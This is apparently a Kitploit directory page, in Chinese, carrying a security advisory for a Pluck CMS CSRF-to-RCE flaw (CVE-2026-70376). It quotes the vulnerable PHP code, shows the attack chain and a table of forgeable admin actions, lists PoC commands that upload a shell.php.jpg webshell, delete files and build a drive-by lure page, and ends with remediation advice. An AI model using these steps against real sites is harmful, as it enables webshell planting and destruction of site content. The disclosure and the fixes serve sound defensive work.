Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-70376 — Pluck CMS CSRF 的公告与 Python PoC:失效开放(fail-open)的 Referer 检查加上双扩展名上传,可导致 webshell 部署与远程代码执行。 | Kitploit
工具/GitHubGitHub/ilhomjonr/cve-2026-70376
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Pluck CMS CSRF 的公告与 Python PoC:失效开放(fail-open)的 Referer 检查加上双扩展名上传,可导致 webshell 部署与远程代码执行。

查看仓库
328天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-70376 — Pluck CMS 全站 CSRF → RCE

宽松模式(fail-open)的 Referer 校验 + 无 CSRF 令牌 + 双扩展名上传

管理员仅需访问一次页面,即可删除内容、注入页面并植入 WebShell

CVE CVSS 3.1 CWE CWE

Product Status Researcher

概览 · 摘要 · 根因 · 攻击链 · 利用 · 修复建议 · 时间线


📋 概览


🔎 摘要

Pluck 管理后台在整个代码库中没有任何基于请求的 CSRF 令牌。每个改变状态的管理操作都由同一个函数把关,即 requestedByTheSameDomain(),它唯一的防御是 Referer 主机名比对——而该检查是宽松模式(fail-open)的:当请求完全不带 Referer 头时,函数返回 true,操作被允许执行。

由于攻击者页面完全能控制是否发送 Referer(<meta name="referrer" content="no-referrer">),任何访问恶意页面的已登录管理员都可能被迫在跨站请求中执行特权操作。多个破坏性操作走 GET 请求,且 Pluck 未给 PHPSESSID 设置 SameSite 属性(浏览器默认按 SameSite=Lax 处理,该 Cookie 仍会随顶级 GET 导航一并发送),因此在浏览器默认设置下,这些操作可被跨站触达。

另一个次要的上传过滤器弱点则让同一个 CSRF 能够植入 shell.php.jpg 双扩展名文件——在 Apache/mod_php 主机上将 CSRF 升级为路过式 RCE(drive-by RCE)。


🧬 根因

1. 宽松模式的 Referer 校验 — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

携带外来 Referer 的跨站请求会被正确拒绝(else 分支),这带来一种虚假的安全感——但攻击者只需抑制 Referer 的发送,就会命中宽松模式分支,请求随即被放行。该检查之后没有任何令牌层作为兜底。

这道关卡在 admin.php 中只调用一次,并据此信任整个 action 分发逻辑:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. 会话 Cookie 未设置 SameSite(放大器)

Pluck 从不调用 session_set_cookie_params(),因此 PHPSESSID 沿用浏览器默认的空配置 → 浏览器按 SameSite=Lax 处理,该 Cookie 仍会随顶级 GET 导航发送。因此,暴露在 GET 上的操作(deletefile、deleteimage、deletepage、module_delete、theme_delete、logout)只要受害者访问一次页面即可被伪造。

3. 双扩展名上传 — data/inc/images.php(RCE 放大器)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

这两项检查都能被轻易绕过:

  • MIME 类型取自客户端($_FILES[...]['type'])→ 设为 image/jpeg 即可;
  • 文件名只校验最后 4 个字符 → shell.php.jpg 以 .jpg 结尾,顺利通过。

文件最终写入 images/shell.php.jpg;在启用了多扩展名处理的 Apache/mod_php 主机上,该文件会以 PHP 被执行。


⛓️ 攻击链

仅需一次已认证管理员访问页面——无需任何点击。

root@kitploit:~
flowchart LR
    A[管理员已登录 Pluck] --> B[打开攻击者页面]
    B --> C["meta referrer=no-referrer<br/>抑制 Referer 发送"]
    C --> D[顶级导航 / 自动提交表单至 admin.php]
    D --> E["Lax 模式的 PHPSESSID Cookie 随请求发送<br/>Referer 缺失"]
    E --> F["requestedByTheSameDomain() -> 宽松放行 -> true"]
    F --> G1["deletefile / deletepage -> 内容破坏 / DoS"]
    F --> G2["editpage -> 存储型内容注入"]
    F --> G3["images 上传 -> shell.php.jpg -> RCE"]

可被伪造的操作包括:


💥 利用

一套可用的 PoC 工具包位于 exploit/:

  • pluck_csrf_rce.py — 验证宽松模式逻辑、通过 CSRF 上传 WebShell 并执行命令、通过 CSRF 删除文件,或生成诱饵页面。
  • csrf_poc.html — 投递给受害管理员的独立路过式攻击页面。
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

该 Python 脚本发出的请求刻意不携带 Referer,精确复现了 no-referrer 策略下受害者浏览器的请求。以下 HTTP 层的差异印证了这一逻辑:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ .php.jpg → RCE 这一步要求主机为 Apache/mod_php 环境,且配置为将多扩展名文件交给 PHP 执行。若未作此配置,CSRF 上传仍会成功,破坏性的 delete/deletepage 原语也不受影响——CSRF 才是核心漏洞,RCE 只是放大器。


🛠️ 修复建议

  1. 加入真正的 CSRF 令牌 — 在每个管理表单及每个改变状态的链接中加入随机会话 nonce,并在服务端使用常量时间比较进行验证。这才是真正的修复方案;Referer 校验不能替代它。
  2. 默认拒绝(Fail closed) — 若保留来源校验作为纵深防御,应将缺失 Referer/Origin 视为不可信。优先使用 Origin 头,缺失或不匹配时予以拒绝。
  3. 绝不在 GET 请求中修改状态 — 将 deletefile、deletepage、logout 等操作改为 POST,让 SameSite=Lax 提供基线保护。
  4. 加固会话 Cookie — 通过 session_set_cookie_params() 设置 SameSite=Strict(或 Lax)、HttpOnly 和 Secure。
  5. 修复上传过滤器 — 对最终保存的文件名按精确扩展名白名单校验,验证真实的图片内容,绝不相信客户端提交的 MIME 类型。

🕒 时间线

日期事件
2019-12引入存在漏洞的 逻辑()

📚 参考资料

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352:跨站请求伪造(Cross-Site Request Forgery)— https://cwe.mitre.org/data/definitions/352.html
  • CWE-434:危险类型文件的无限制上传(Unrestricted Upload of File with Dangerous Type)— https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ 免责声明

本文内容仅用于教育及防御目的,且仅限经过授权的安全测试。请勿将其用于你不拥有、或未经明确书面许可进行测试的系统。作者对滥用行为不承担任何责任。

发现并记录:@IlhomjonR · CVE-2026-70376 · PT-2026-68036

下载工具
CVE IDCVE-2026-70376
Tracking IDPT-2026-68036
产品pluck-cms/pluck — Pluck CMS(纯文件 PHP)
受影响版本4.7.x 至 4.7.21-dev / 当前 master
弱点类型CWE-352(CSRF)· CWE-434(无限制上传,放大器)
CVSS v3.18.0 — 高危 · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
攻击向量网络 · 无需权限 · 管理员访问一次页面(UI:R)
影响内容破坏/DoS、存储型内容注入、Apache/mod_php 环境下的 RCE
引入时间commit f79f916(2019 年 12 月)— 自该提交起便存在此漏洞逻辑
研究人员Ilhomjon Rustamov(@IlhomjonR)
操作方法影响
admin.php?action=deletefile&var1=<f>GET删除任意已上传文件
admin.php?action=deletepage&...GET删除站点页面(DoS)
admin.php?action=module_delete&...GET移除模块
admin.php?action=logoutGET强制管理员登出
admin.php?action=editpagePOST注入存储型页面内容
admin.php?action=images(上传)POST植入 shell.php.jpg → RCE
requestedByTheSameDomain()
f79f916
2026-07-08通过源码审计发现;端到端 PoC 已验证
2026-08-10起草安全公告(PT-2026-68036)
2026-08-12CVE-2026-70376 分配;公告与 PoC 发布